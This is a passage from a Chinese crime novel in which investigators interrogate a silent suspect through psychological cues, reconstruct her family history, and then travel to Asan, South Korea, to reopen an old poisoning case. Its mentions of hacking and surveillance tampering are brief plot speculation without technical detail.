“小宋查了一下那个猫笼里的设备,那东西不仅是个窃听装置,还内置了一个小型的远程遥控的高强度电磁脉冲装置,应该是用来伤害猫的,而且还能一定程度上破坏附近的电子门锁。我们询问了数媒中心是否有人丢了门禁卡,一个打扫卫生的阿姨说她的卡刚好就在女兽医去数媒中心的那天丢了,她是后来补办的。 “我们推测,她可能是做了两手准备,她第一回进入数媒中心,就偷了门禁卡,制定了一个初步的诱捕计划。把猫送去数媒中心后再伤害猫,这样就能把章弥真诱导到数媒中心后再行绑架。 “这个计划的上一步就是内参外泄的那件事,女兽医应该是预判到出了这档子事后,章弥真可能会把猫送去数媒中心。就算章弥真不会这么做,制造内参外泄这件事也能干扰章弥真,让章弥真被隔离出专案组,制造出可以让她钻的空子。 秦梓需一直开着免提,因此谢云卿的话章弥真和李之枚都听到了,两人神色都有些不好看。 “对了,章记者也去看守所吗?”谢云卿话锋一转问道。 秦梓需向章弥真投去询问的目光,章弥真猛点头,她哪能缺席这落井下石的好机会呢?这俩罪犯把她害得不轻,她必须得报复回去! “去的,麻烦您安排。”秦梓需道。 “哦,小章这胆子是真的挺大的,换了一般人,遭了这么一茬罪,恐怕早就吓破胆了,根本不会去见凶犯的。” “嗯,她是吃豹子胆长大的。” 秦梓需一句话逗得李之枚笑喷了,谢云卿也在电话那头哈哈大笑,章弥真则赤红了脸,狠狠瞪了一眼秦梓需。 …… 当日下午,秦梓需和章弥真抵达了看守所。市局预审科的人一直在这里熬着,卢康安和女兽医自从被逮捕后,预审科轮番上阵车轮战,就没让这两人休息过。48小时过去了,依旧陷在僵局之中,两人至今不曾开口说过一个字。 预审科暂时鸣金收兵,放两个犯人先回去上厕所,半个小时后再战。 秦梓需、章弥真到来后,预审科的科长老沈先给她们打预防针: “这两人明显早就商量过被捕之后的对策,绝不开口说话,囚徒困境这招我们已经用了,不起作用,这两人之间的信任程度很深。你们一会儿进去后注意谈话策略,别着急上火,看到咱们急了,就是给他们长威风。” 他说这话时,秦梓需注意到他嘴角起了个泡,心想老沈在罪犯面前哪怕强装沉着,恐怕也得露馅了。 卢康安果然难搞,也许突破口在女兽医,她毕竟年轻。 “你们有没有重点审问女兽医?她年纪轻,心智没有那么坚定,也许再拉扯几下就开口了。”秦梓需问道。 “没用,我说句难听的,那就真是个疯子。问她啥,她都只是对着你笑,笑得可瘆人了。卢康安也是一样一样的,就是卢康安明显城府更深,眼神戏谑,我们的审讯技巧,还有限制审讯的规则,他全都知道。”老沈摇头道。 “行,交给我吧。我和章记者先见一下女兽医,要不要见卢康安,视情况再定。”秦梓需道。 “你这手里提着个啥?”老沈指着秦梓需手里提着的一个保温袋。 “冰淇淋。”秦梓需微微一笑回道,她身侧的章弥真神色有些微妙。 老沈一头雾水,不知道她俩要做什么。 老沈、秦梓需和章弥真在女监区的审讯室落座,章弥真并不是公安,因此只是陪坐在侧,主审人员是老沈和秦梓需。 随后狱警将女兽医押解到了安全束缚椅坐下,将其圈禁在束缚椅之中。直到现在,秦梓需、章弥真才算第一回和这个女兽医见面。尽管之前看过了被捕后的照片,见到真人时,还是惊讶于她这年轻、高挑又漂亮的模样。 哪怕她剃了个寸头,她的美貌也没有丝毫减弱。这个寸头不是她进入看守所后剃的,她被捕时就是寸头,发型和卢康安并无区别。也就是说,吴岚在数媒中心地下车库见到她时,她那一头长发其实是假发。 秦梓需目测了一下,她的身高应该能达到一米八左右,且她很瘦,橘黄色的看守所马甲穿在她身上显得十分宽大,伴随着行走来回晃荡。 这个身材扮演起男性可以说毫无压力,怪不得那些脑科医院住院部的女护士会以为自己看到了卢康安,这个女兽医只需要穿一身男装,戴个棒球帽,稍微加个垫肩,从背后看上去就和卢康安没啥区别了。 她坐下后,看到秦梓需和章弥真,立刻露出了诡异的笑容,扫了一眼秦梓需后,目光黏着在章弥真的脸上,不眨眼。 章弥真后背莫名起了一片鸡皮疙瘩。 腰间扎着警用武装带、配有全套警械的女狱警坐在角落里时刻盯着罪犯的行为,随时准备制服她。不大的审讯室内气氛压抑,秦梓需半晌没说话,只是打量着她,室内静得落针可闻。 秦梓需按照程序,先介绍了自己和章弥真。她说话的过程中,女兽医的目光一直盯在章弥真脸上,章弥真恼了,也直愣愣瞪回去,半点不闪躲。 女兽医突然笑起来,疯子一样地笑。 “该怎么称呼你?”秦梓需冷静地问。 对方根本不搭理她,秦梓需看向老沈,老沈怒叱道:“问你话呢,老实回答!” “我有微信名,对吧?章记者。你可以用那个称呼我,怎么叫都行。” 老沈一惊,这还是她被捕后第一次说话,这第一次说话就是冲着章弥真去的,看来章弥真对她来说似乎真的很重要。 秦梓需眉头微皱,她原本心中就有一些推测,如今更为笃定了。 章弥真本人面上却牵出一抹冷笑,那个“V-爱人如爱猫”的微信名,如今看来真是讽刺感十足。 秦梓需敲了两下桌面,吸引女兽医的注意力,然后面上露出了一丝意味不明的微笑,道: “那我叫你猫小姐好了,我看你都冒汗了,是不是觉得这这屋里空调不给力?” 猫小姐好整以暇地看着秦梓需,面上的表情似乎在说:我倒要看看你想怎么套我的话。 秦梓需却没说话,只是打开了手边的保温袋,从其中取出了一盒BR冰淇淋放在了桌面上。 猫小姐的眸光果然不可遏制地被冰淇淋吸引了,随即她面上掠过一个细微的表情,她眸光微微垂下,随即向右侧挪开,不再去看那冰淇淋。本来外放的攻击性气场突然收敛了回去。她躲避的似乎是章弥真的目光。 这气场的突然转变根本逃不开秦梓需的观察。 “想不想吃点冰淇淋消消火?”秦梓需笑道,此时的她像是个诱惑别人犯罪的魔鬼。 猫小姐不答,沉默了几秒后,秦梓需道:“看来你是不想吃啊,怎么口味变了?你小时候在芝加哥,这大概是你童年里最喜欢的食物了吧。” 猫小姐好像被激怒了,虽然她仍旧沉默,但秦梓需能很敏锐地看穿她面部微表情的变化。其实哪怕是章弥真也能看出来,她毕竟是身经百战的记着,接触的人多了,多多少少都修炼出了看人脸色的功夫。 “来,让姐姐开开来给你吃,就像十多年前在芝加哥时一样。”秦梓需把冰淇淋递到了章弥真手里。 章弥真接过,起身向猫小姐走去。 猫小姐的身躯很明显地紧绷了起来。 第77章 第七十七章 章弥真将冰淇淋的盖子揭开,用柔软的塑料勺子擓了一勺,送到了猫小姐的嘴边。 她面无表情地盯着猫小姐,一双墨黑的眸子仿佛想要洞穿猫小姐的内心。 猫小姐不张口,只是也同样凝视着她,眸光一瞬不瞬。 冰淇淋在勺子里融化,滴落在猫小姐的铐在束缚椅桌板的手臂上,冰凉的触感刺激得猫小姐的手指蜷缩了一下。她终于盖下眼帘,不再看章弥真。 章弥真这时才注意到她手臂内侧纹了一支梅花,且这个纹身被洗过一次,没完全洗掉。 “我见过你吗?”章弥真突然开口问。她至今仍然毫无头绪。 猫小姐唇角牵起一抹无奈的笑,还是不言语。 章弥真再次怒意上涌,将勺子丢到冰淇淋盒子里,转身走回了自己的位子坐下。 “不管我有没有见过你,我可以很肯定地说,我从没惹过你或卢康安,你们却想要害了我和我妈,无论如何,我都无法接受和原谅这件事。你和卢康安,一定要接受法律的惩罚。”章弥真压抑着愤怒说道。 她话说完,审讯室再次陷入沉默。 在这次审问开始前,秦梓需和老沈讲了一下这次审讯的要义,她希望以自己为主导来做提问,主导谈话节奏,老沈只负责记录,尽量不要说话。 现在老沈很急,秦梓需的提问频率太低了,这样很难逼犯人开口的。他几次想开口,但都只能忍住。他瞄了一眼身边的秦梓需,她却一直在沉默地观察嫌疑人的面部表情。 “再不吃,就化成水了。这冰淇淋很贵的,在美国也许价格亲民,但进口到咱们这里,价格翻了三倍。”也不知道过了多久,就在老沈的耐心濒临极限时,秦梓需终于开口了。 也不知道这句话到底触动了猫小姐的哪根神经,她还真就拿起勺子,挖了一勺,低下身用嘴去接着吃。 秦梓需笑了,默默地看着她吃完了一整盒冰淇淋,最后将冰淇淋盒子里融化的汁水都喝光了。 “好吃吧,和小时候的味道有差别吗?”秦梓需问。 猫小姐舔着嘴唇,还是不肯说话。 “你妈妈当年在美国含辛茹苦把你带大,你何苦要这样呢?”秦梓需突然话锋一转,叹息着问道。 猫小姐的神情微微一凝,有愤怒的情绪一闪而过。 秦梓需的语气仿佛在和一个老友聊天:“你没有上过学,却天才般的自学成才,计算机、电气化、机械制造,你样样精通,比你那年轻的爹强多了。你是要证明你那自命不凡的爹不如你吗?还是想彻底结束这一切? “这么多年,黑在胥城,做什么都不方便,不是住在工作室,就是帮你爹照顾那个瘫痪了的陌生男人,哪儿也去不了。这生活你不厌倦吗?只是你没得选,你也不知道不这么过日子,你又该如何过日子,对吧? “现在被抓了,你可能反而能松一口气了吧。” “你住嘴!”在秦梓需的说话的过程中,猫小姐的愤怒越来越压抑不住,她枯瘦苍白的皮肤之下青筋暴起,眸光中透出异常凶狠的情绪,死死盯着秦梓需。 “好,我住嘴。谈话结束,把她带回去吧。”秦梓需二话不说,直接示意狱警把人带走。 老沈十分诧异,他还沉浸在刚才秦梓需的那番话语之中,尚未反应过来。章弥真也是差不多的反应,不过她确实很难在这里坐得住了,一直是咬着牙在忍耐。 猫小姐的神情阴沉得像是要吃了秦梓需,狱警把她带走时,她双拳攥得紧紧的,脚链子在地上摩擦出清脆的声响,她被带离了审讯室。 “秦老师……这……”老沈实在不知该说什么才好,“为什么不谈了?” “她的防备心还很重,以我目前掌握的关于她的讯息,再往下谈就很难打开局面了,反而会漏了自己的怯,不谈才是明智之举。”秦梓需道,“不过,今天收获巨大,从她刚才的一系列反应,我验证了自己的猜想是正确的。” “你都猜想了啥?”章弥真好奇问。 “我猜想她小时候,至少到邵彦华大学毕业工作之前,还是跟随梅凝隽生活在芝加哥的,只不过她们是非法移民,因此美国那里没有他们的纳税记录。 “我先是跟她谈冰淇淋的价格,她动摇了,吃了冰淇淋。这说明她在美国的生活恐怕相当困窘,但这很奇怪,邵长生是有资产的,转移到美国去后,他肯定要想办法洗白身份上岸。如果成功了,她儿时的生活不至于如此困窘。 “所以我推测这母女俩很可能根本没和邵长生生活在一起,她们到了美国后,就被邵长生抛弃了。滞留在芝加哥的梅凝隽很可能从事着一些低端劳动来养活自己和女孩,因此她极度依赖母亲。你看到她手臂内侧的梅花了吗?梅花代表她的母亲梅凝隽。 “我当时很冒险地说了一句‘你妈妈含辛茹苦把你养大’,她的反应验证了我的这句话。她打小的生活中,父亲是完全缺位的,邵长生很有可能根本就不在她和梅凝隽身边。 “随即我用‘你那年轻的爹’来代指邵彦华,她也没有任何多余的反应,说明她心中的父亲确实是邵彦华。为什么呢?因为她显然没有一个合法的身份,也不可能上学。她这一身的本事,有一半是邵彦华教的,还有一半是她自己自学的。 “她什么时候回国的我无法肯定,但时间一定不短了,我估算可能在五年以上,最有可能是2012年邵彦华杀害李芝华之前。邵彦华偃旗息鼓多年,为何突然在那个节骨眼上再次冒险犯案,我感觉就和这母女俩有关系,他还是想试图彻底销毁那个尚未找到的证物,让他们这一家三口能安生度日。 “那个时候的邵彦华用卢康安的身份读完了大学,不仅找到了工作赚到了钱,而且还嵌入到了公安系统当中,拥有了情报优势,算是在胥城站稳了脚跟,可能直到这一刻,他才有底气把梅凝隽母女接回国内。在那段时间里,邵彦华也许是真心想和母女俩好好过日子的。但一日不彻底销毁证物,他心中一日难安。 “但母女俩回国后没多久,就发生了某件事,致使梅凝隽出了事。邵彦华和邵紫涵父女俩之间的关系也逐渐变质,变为了犯罪同谋。” “你怎么知道梅凝隽出事了?”章弥真疑惑。 “我去看了邵彦华的住处,那里没有任何女性生活的痕迹,当然,他家里的很多东西都被带走了。但他走得比较匆忙,家中收拾得不够仔细。痕检地毯式查过,卢家没有第三个人居住的痕迹,这一点是确定的,只找到卢建军和邵彦华的DNA,梅凝隽显然不住在那里。 “猫小姐倒是有可能短暂去卢家出入,但会小心不留下生物痕迹。邵彦华和猫小姐都是寸头,我们在他家里也只找到很短的短发,找不到长发。作为邵彦华的影子,他女儿显然也会在邵彦华腾不出手时过来照看瘫痪的卢建军。 “根据灰尘的厚度和积攒的速度推算,那个书橱被重新整理时,邵彦华已经在云南犯案隐匿了,所以那个书橱有可能是猫小姐重新整理的,BR摆件也是她放上去的。这些都能印证猫小姐确实来过卢家,但她不住在这里,不然很难不被邻居发现,也很难不留下DNA。 “猫小姐的住处很有可能是邵彦华那个至今还未找到的犯罪工作室。那么问题来了,梅凝隽会住在别的地方吗?是和猫小姐住在一起吗?我认为不是,从猫小姐洗掉的梅花纹身来看,梅凝隽已经不在了。 “我认为梅凝隽主动离开这父女俩的可能性不高,更没有必要和邵彦华分开住。这一家三口,完全可以用新洗白的身份在国内生活,不必一直过得东躲西藏。可事实是,猫小姐一直没有一个正式的身份,到现在还是黑户,见不得阳光。父女俩都被捕了,梅凝隽还是下落不明。 “我说梅凝隽出事了,不意味着是死亡,可能就是因为某些原因不在了。这不正常,邵彦华有变态的控制欲,梅凝隽的缺席说明她由于某种邵彦华也无法控制的不可抗力而被迫离开了这父女俩。 “从猫小姐反复阅读《罪与罚》这本书来看,我认为她内心存在激烈的挣扎。她厌倦当前的生活,向往正常人的生活,但又心知自己生来就是个错误,早就堕入了罪恶的世界,很难再洗白上岸了。她纠结、踌躇,她还没彻底堕恶,内心还存有一丝良善与后悔。她确实是个突破口,但过犹不及,现在打开她心扉的时机还未到。” 老沈吸了口气,赞叹道:“秦老师……我真是佩服你,不愧是张教授的高徒啊,怎么就能想到这么多的,你这脑子太好用了!” “诶……如此说来这猫小姐也是个苦命人,但我不同情,我差点被他们害死!谁来同情同情我啊。”章弥真仍然愤愤不平。 秦梓需哭笑不得,老沈则问道: “那咱们接下来还见卢康安……呃,我是说,邵彦华吗?” 秦梓需摇头道:“不了,我建议你们暂停审讯,先晾着他。这个人的心理极其扭曲,自我膨胀到了恐怖的地步,而且心智坚毅,在我们拿到决定性证据前,你们是绝对审不出来任何内容的,晾着他,偶尔放一点他女儿在牢里哭泣和自残的消息给他,做长期心理战。这个家伙自以为聪明,往往会想很多。” “行。”老沈点头。 秦梓需看向章弥真,笑道:“这回咱俩是真要收拾收拾东西,去韩国了。” …… 三天后,当章弥真带着一大堆行李踏进自家门里时,精神有一瞬恍惚。她没想到有一天回家时,竟然会有一种历尽艰辛,终于得以抵达终点的感觉。 嗨,离着终点还差一段路呢。她在心里吐槽了自己一句,但这一趟出门后回家的路程,确实是太难走了,这是她走过的最难走的回家路。 想到这里,竟然有点鼻酸想哭。 她敲了自己脑壳一下,警告自己别矫情了。 走在她身后帮着提猫笼的秦梓需恰好看到她敲自己的脑袋的举动,不由得出声道: “干啥呢?头疼啊?” “没。”章弥真回头白了她一眼,秦梓需一脸问号。 “这傻丫头就是这样,一个人的时候会自言自语的,还跟自己比划呢。”秦梓需的身后,章弥真的母亲露出身形,笑道。 “妈!您别瞎说。”章弥真连忙堵母亲的嘴。 “哈哈,你还害羞了呢。”章母大笑。 三人挤挤攘攘地进了门,换了鞋后,章弥真甩下自己的行李不管,第一时间就夺过秦梓需手里的猫笼,把两只小猫放出来了。 “诶哟,我的两个小可怜儿,到家了,出来吧。你俩以后再也不用受苦了。我一定会把你们照顾好的。”两只小家伙缩在笼子里不肯出来,章弥真心疼地跪在笼子旁,柔声劝着。 “你得用猫条引诱一下,岚姐说这俩小家伙特别馋。”秦梓需从口袋里抽出猫条,举到猫笼口。 “你看看你,回来后啥也不管,当甩手掌柜了吧。行李也不收拾,卫生也不打扫。尽顾着逗猫,真是的……”章母一边嘟囔着,一边手里闲不住地忙活开了,开始帮章弥真收拾东西。 “妈,您别忙了,先去歇着吧,一会儿我来收拾。”章弥真喊道。 章母不听,而这头,两只小馋猫终于被引诱出笼。秦梓需把猫条塞到章弥真手里,道: “你是主人啊,快跟它们亲近亲近。” 章弥真忙打起十二分的精神,举着猫条,看两个小家伙争先恐后地舔食,她伸出手去小心地试探性地揉捏它们的脑袋,它们一点也不抗拒,她的心顿时如冰化水一般溶解了。 她沉醉其间,没留意到秦梓需已经开始忙着给家里打扫卫生了。她找了块抹布,正给家里擦灰。 章母见状忙阻止她: “诶,小秦,怎么好意思让你这样忙活。” “阿姨,我这是表达感谢呢,您千万别跟我客气。弥真帮了我很大的忙,我无以为报。”秦梓需笑道。 这话让章母听得沉默了下来,随即拉住秦梓需,轻声道:“我听说你是为了当年你们的陈老师,追查了这个案子十八年?” “嗯,是。”秦梓需有点不好意思。 “你真是个好孩子,真不容易……”章母抚了抚秦梓需的肩膀。 秦梓需的耳根红透了,一时无可遏制地鼻酸眼热,拿着抹布毫无章法地擦灰,来掩盖自己的窘迫。这么多年了,章母还是第一个这么夸她的长辈。她的父母,从没这样夸过她。他的师长也大多劝她别太执迷。乃至于她的同龄人,也都不能理解她的追求,对她敬而远之。 这么多年她踽踽独行,太孤独了,天地间似乎除了她已故的师傅,无人能理解她。 “小真能交你这样一个朋友,哪怕她以后真的不结婚不生娃,我也不担心她了。”章母望着还在玄关附近矮身逗猫、对这里毫无察觉的女儿,低声感慨道。 秦梓需的神情有些茫然,这话题是怎么能牵扯到结婚生娃的? 第78章 第七十八章 嫌疑犯落网,国内局势一安定,韩国之行便立刻提上日程。秦梓需、章弥真没休几天,就再次投入调查。 李芝华生前实习的牙山工厂位于牙山市,属于韩国的忠清南道,临近首尔都市圈。忠清南道的位置在韩国的中西部,京畿道以南,西临中国黄海。 调查组是8月10日入境韩国的,秦梓需、章弥真推着行李箱从机场出来时,第一眼看到的不仅仅是前来迎接的韩国警方代表,还有一个老熟人——邹天。他比秦梓需等人早几天到,算是先遣队的人,与韩国警方已经接触了几天。 “秦老师!章记者!”邹天一看到熟人,万分激动,要不是秦梓需和章弥真都是女性,他都得冲上来拥抱了。 “邹队,你果然来了。”秦梓需笑着和他握手。 “我哪儿能不来呢。”随即他转向章弥真,道,“章记者,你勇斗凶犯的事我都听说了,太厉害了!佩服至极!” “哈哈……”章弥真笑得略有尴尬,事后想来,她宁愿不要有这种证明自己很勇的事发生。 “来,我给你们做介绍,这位是韩国警方代表,牙山警察署署长崔中智总警;牙山署形刑事课课长李允贤。” 崔总警和李课长向众人鞠躬点头,但中方这里并不习惯于躬身还礼。 翻译直接过来引导,介绍韩方代表跟中方调查组握手认识。 “公安部毒理专家郑有为先生,胥城市局刑侦支队支队长谢云卿女士,公安大学教授、本案特别侦查顾问秦梓需女士、调查记者章弥真女士……” 调查组带队的是谢云卿,崔总警、李课长却先去握了站在谢云卿身边的公安部毒理专家郑有为郑老的手,好在谢云卿不太讲究这些,虽然被隐性性别歧视了,她也当是韩方尊敬长者了。 最后邹天介绍了一下年轻的女翻译,她是和邹天一起抵韩的公安部下派的翻译金楚欣,大家都喊她小金。小金精通朝鲜语,因为她是朝鲜族,而且很奇妙的是她南北口音都能说。她的本职其实是监控方面的专业人才,参与公安部联合韩国警方的调查任务也有好几回了,经验丰富。 在略有些尴尬且充满文化隔阂的见面后,一行人被招呼上韩方派来的大巴车,直接驱车前往牙山。这一路的路程大概有一小时四十分钟,秦梓需内心不由得感慨:韩国真小。 大巴前几排让给谢云卿和韩国的代表了,他们此时正在通过翻译彼此交流。秦梓需有点社恐,往后坐在了第六排。她把靠窗的位置让给了章弥真,自己坐在靠过道侧。而邹天选择坐在她们这一排的另一侧。 章弥真开始跟秦梓需咬耳朵:“他们就派牙山地方警署的人来接我们啊?我们这儿可是有公安部的专家在呢,国家警察厅不派人,好歹道这一级别的警察厅也该派个人意思意思吧。 “都是市级单位,也算对等了嘛。公安部专家毕竟不是官僚,对方也不好派上层的官僚来接待。我听说韩国人在这方面还挺讲究的。”秦梓需安抚道。 “什么对等啊,就牙山这么个小地方,还没胥城一个区大呢,也好意思和胥城市局对等?韩国人真是脸大。”章弥真越发不满,“而且那俩牙山警署的男的,看咱们那眼神里不屑的情绪,根本都不遮掩的,气死我了!都说韩国男人傲慢且歧视女性,我算是见识到了。” 秦梓需苦笑了一下,道:“没办法,在别人的地头上,忍忍吧。” 另一头邹天也跟着接话道:“咱们这回来,是给他们挑刺的,他们心里都很不爽。我来了几天了,试图和牙山警署的人拉关系,但他们反应都很冷淡。你们要做好心理准备。” 邹天直到这会儿才终于流露出几分不满的情绪。 秦梓需有点头疼,这在韩国调查,没有韩警的配合,工作很难开展啊。 大巴车一路疾驰,前方谢云卿、郑有为正和韩国代表交流,后方秦、章则在询问邹天关于李芝华案的细节。 “我一直在思考一个问题,当时那个火锅到底是怎么回事,如果说李芝华当时已经察觉到了凶手就在身周,怎么还会有心情独自留在宿舍里吃火锅呢?”章弥真问。 这个问题把邹天给问懵了:“你们怎么知道李芝华当时察觉到凶手就在身边?” “哦,这是推测出来的。”秦梓需接茬道,章弥真这个提问太跳了,秦梓需这里还没来得及和邹天沟通完全,邹天缺乏前置信息,她从头解释道: “从杨莲的胃内容物里找到了一个曾被蜡封住的眼镜鼻托,我们推测这个鼻托来自于杨莲曾在爆炸现场捡到的一副眼镜残片。这副眼镜残片很有可能是凶手留下的证物,凶手也一直在寻找这副眼镜。 “杨莲当年为了抓住凶手,以身犯险,试图劝说对方自首。可她还是失败了,她在临死前知道自己将死,将鼻托吞入腹内留作证据。 “我们认为,杨莲手里的证据远远不止这个鼻托,因为其上缺乏生物物证,应该只是从眼镜上取下来,作为引子的。但从老校长存在银行柜子里的那个文件盒里找不到那副眼镜,我们因此推测,那副眼镜很有可能是被李芝华取出来,单独藏匿了。 “李芝华这么做的目的有可能是情况危急,她察觉到身边有危险,因此将最关键的物证取出来藏起来,将文件盒寄回国内,试图引走凶手。” 邹天觉得不解:“邵彦华要杀人,怎么还能让李芝华察觉的?还给李芝华机会,让她把文件盒寄回国?” 秦梓需道:“杀人不是目的,拿到物证才是。这应该是他故意的,他可能起初并不能确定物证是否在李芝华手里,他需要旁敲侧击来让李芝华自乱阵脚,看她能不能自己把证物拿出来。” “这是他的作风,他这回对付我就是用的这一招,给我送猫,然后围绕着猫做文章,给我施加心理压力,冲垮我的心理防线。”章弥真道。 邹天挠头,片刻后道:“要是这么说,那顿火锅,会不会是凶手做的?而且他当时和李芝华可能是面对面围着一起吃火锅的……啊,我是说,不是真吃,就是个坦白局。” “你也这么觉得?那这就意味着邵彦华必须进入那栋宿舍楼里才行,可他是怎么避开监控和其他人耳目的?”章弥真思索着问。 “他不是有黑客技术嘛?”邹天道。 “老秦,黑客技术可行吗?”章弥真问。 “理论上可行。”秦梓需道,“我估摸着2012年时,韩国这里应该是模拟摄像头加本地存储的混合模式。这类系统通常通过局域网连接,缺乏云端加密,黑客可通过物理接触或网络渗透篡改存储设备中的视频文件。那会儿网络安全意识还不强,民众乃至国家对网安都没啥概念。 “黑客可以用Metasploit框架渗透公寓服务器,伪造门禁日志与监控时间戳,还可以插入循环播放片段掩盖案发时间。” “那这个还能查到吗?” “溯源是不要想了,当时都不一定能查出来,现在就更不可能。”秦梓需道。 “那咱们该怎么和韩方说这个事儿?他们要是不承认凶手入侵公寓楼,我们不就卡住了?”章弥真道。 秦梓需、邹天都沉默了,显然这个问题,他们也暂时没想到解决办法。而且就算知道这一点,她们的目的是找到物证,可目前为止,她们甚至不知道调查的方向。 大概到了入夜时分,一行人抵达牙山,下榻宾馆。崔中智、李允贤和众人讲明待明日再来碰头商讨调查具体事宜,今晚他们在酒店宴会厅办了一个接风宴,希望中方一行参加。 秦梓需是不喜欢这些的,但该应酬还是得应酬,只得硬着头皮参加。 不得不说,韩国人是真的爱喝酒,酒品也是真的差劲。这帮牙山地方警署的刑警,拉着专案组一个劲儿地劝酒。几个女性还好,喝了几杯早早脱身,剩下的男人们可就惨了。 “喝成这样,明天还怎么查案?”谢云卿很不满地抱怨道。 此时她正和秦梓需、章弥真在酒店的大露台上观夜景,吹晚风。那乌烟瘴气的气氛让三人都很受不了,不得不出来透透气。 她们人手一杯果汁饮料,肚子里只有三分饱。可怜剩下的唯一一位女同胞小金作为翻译,还得在饭桌上陪着,维持交流。 “谢支,这一路过来,你和崔总警、李课长谈了什么?”秦梓需好奇问。晚风吹拂她的发丝,这些时日她的头发长长不少,一直没空去修剪,现在刘海有些戳眼睛了,脑后也能扎起个小揪揪。 “啥也没谈成,东拉西扯的,就是不谈案子。总而言之一句话,不是他们在任期间发生的案子,所以啥也不知道,等明天查卷宗再说。这帮韩国警察……酒囊饭袋!”谢云卿更加不满了。 “我看他们压根不想查案,只是想敷衍了事。”章弥真一起愤愤不平道。 “你说对了,确实是这样,对他们来说,重启这个案子是个麻烦事,捞不到一点好处,反而要遭罪。”谢云卿道。 “诶,感觉前景不乐观啊,这案子也过去8年了,也不知道李芝华把证物放在哪儿了,会不会可能已经丢了?”章弥真忍不住道。 “呸呸呸,千万别乌鸦嘴啊。”谢云卿不让她这么说。 可这可能性确实是不能忽视的,两人不约而同地叹了口气。 秦梓需沉吟下来,一时没说话。 这么长时间相处下来,章弥真对秦梓需的了解越发深刻,默契也更强了。她这一沉默,章弥真就知道她脑子转起来了。 她等了一会儿,才开口问: “你在想什么呢老秦?” “整理破案的思路。”秦梓需轻声回道,“要想知道李芝华把东西藏在哪里了,最便捷的方式是查看她当年的监控录像,看看她都去了哪儿,挨个找过去总不会错。我认为她不会把东西给一个完全陌生的人,也不会把东西藏在一个不牢靠的地方,她一定是觉得这个地方很适合藏东西,且能躲过邵彦华的追踪,才如此做的。 “但恐怕她的行踪监控录像韩国警方那里没有备案,毕竟这案子被当成食物中毒事故处理了。 “如此想来,就只有当年与她认识的人的口供比较重要了。不知道还能不能找到这些人。” “她的舍友的口供,警方那里倒是都有,就是这些人很多都回国了,留在韩国的不多。要查行踪不难,都是中国人,发回国内查一下,很快会有结果的。”谢云卿道。 秦梓需则道:“我目前的思路……还是用老办法,就像之前重走杨莲的路一样,我会尝试重走李芝华的路。” 章弥真道:“那我可不能掉队,这回我跟你一起走。” 第79章 第七十九章 当天晚上,喧闹过后,在异国他乡的深夜里,众人渐次入眠。韩国人似乎是不睡觉的,凌晨三点了,章弥真仍然时不时能听到楼下街面上有人在大呼小叫。 最后她不得不戴着耳塞入眠,她素来不喜欢耳朵里塞东西,但又对声音很敏感,因此对睡眠环境要求比较苛刻。 章弥真一晚上没睡好,第二天早上起来往镜子前一站,发现眼袋都出来了。而且,上厕所时发现大姨妈突然提前造访,让她越发身心不畅。 秦梓需昨晚倒是睡得还不错,早上还出去围着酒店跑了一圈,回来后发现章弥真起来了,气压很低,便陪着小心,尽量不惹她。 但是她不惹,却有其他人来惹。 也不知道是不是昨天晚上谢云卿、秦梓需、章弥真三个人提前离席的缘故,韩国人第二日对她们的态度十分冷淡,爱搭不理。用过早饭,一行人进入牙山警署查阅韩方的卷宗。章弥真想找个饮水机灌点热水,居然都没有人理会她,把她气得额头青筋直冒。 秦梓需不得不耗费了一番功夫耐心安抚,才把她的火气顺下去,并买了一杯冰咖啡给她。 “他们拿咖啡当水喝,你凑活一下吧。”秦梓需道。 “老娘来大姨妈了……”章弥真感到很无语,她好想回国啊。若不是为了查案,她何苦在这里受气。 秦梓需心中发窘,暗道自己粗心了。她今早比章弥真起得早,洗漱也早,没有留意她是不是来大姨妈了。于是那杯冰咖啡最后还是秦梓需自己喝了。 其实李芝华案的卷宗内容已经翻译成中文在公安自己的档案库里留档了,之所以还要专门来看韩国方面的卷宗,是因为他们传来的卷宗并不完整,有一些内容会出于政治目的,诸如国家安全的理由被涂黑。 这其中,相当多与韩方一些涉案企业相关的企业情况就被涂黑了。虽然这些内容可能当真与案情关系不大,可为了找到李芝华案的蛛丝马迹,专案组还是希望能亲眼看到这些被涂黑的内容。 但他们被赋予的权限也就只有看到,这些内容不可被记录并带出牙山警署。 这一整天,专案组就耗在了翻卷宗和搞翻译这两件事上了,韩方给了他们一个会议室让他们忙,派了两个一问三不知的女文员在旁边陪着。牙山警署的几个韩方领导来简单打了个招呼便离开了。接下来所有事都得专案组自己来做。 但会议室门口却安排了两个配枪警员一直看守着,盯着他们的一举一动。 现在不仅仅是章弥真有气了,整个专案组都心不平气不顺。 中午,专案组吃了韩方提供的盒饭,这伙食堪称可怜,众人都没怎么吃饱,更别提吃好。下午到了四点多,被一大堆曲里拐弯的韩文整得头晕眼花的章弥真瘫在了椅子上,肚子咕咕叫。 “我出去透透气……”她道。 于是带着保温水杯出门,在两个守门警员的注视下,她去了女厕所。秦梓需在她之前出来的,到现在也有20多分钟了,一直没回来。 章弥真以为她在厕所上大号,结果去厕所转了一圈,也没见到她的身影。 “这人跑哪儿去了?”她疑惑地嘀咕。 她在警署里瞎转悠,到处都是匆匆忙忙的韩国警员。韩国人说话她又听不懂,就是觉得好吵,好像每个人都在扯着嗓子说话。 但误打误撞,还真就让她自己找到了茶水间。她大喜,终于能灌点热水喝了。 结果刚走到茶水间门口,就见秦梓需端着一个纸杯出来了。 “诶?老秦?”章弥真惊讶。 “哦,正好,给你的。”秦梓需把纸杯递给她。 章弥真接过来一看,纸杯里是泡好的生姜红糖水,温度正正好,暖暖的不烫手。 “他们没有热水供应,只有制冰机和直饮水。我早上出去跑步时发现了一家华人超市,刚去那里买了一个电热水壶,一包生姜红糖。牙山工厂这里好像有不少华人,有这个华人超市就不怕了,咱买东西还挺方便的。”秦梓需解释道。 “谢谢……”章弥真捧在手心喝了一口,心里很感动。 这会儿茶水间没有人,她俩便干脆在茶水间坐下。 章弥真心情突然变得很好,心情一好就想调侃秦梓需: “你出来这么久,就是为了给我泡一杯生姜红糖水吗?你对我这么好,我不得以身相许啊。” 秦梓需果然无语了片刻,章弥真看她这个表情心情更好了,笑容灿烂。 秦梓需道:“我只是不想继续做无用功了,出来透透气而已。能顺便服务好章大记者这样优秀善良又热情的中国人民,那自然是我作为人民公仆的本分。” “妈耶……你快打住,正常点说话!”章弥真直搓手臂上的鸡皮疙瘩。 “哼。”秦梓需低声笑了一下。 “所以你觉得咱们看卷宗是在做无用功?” “嗯,韩方这里的证据链全都是专门往大企业的利益靠拢的,很难说有什么公正性,而且本身和案情的关系不大。”秦梓需道。 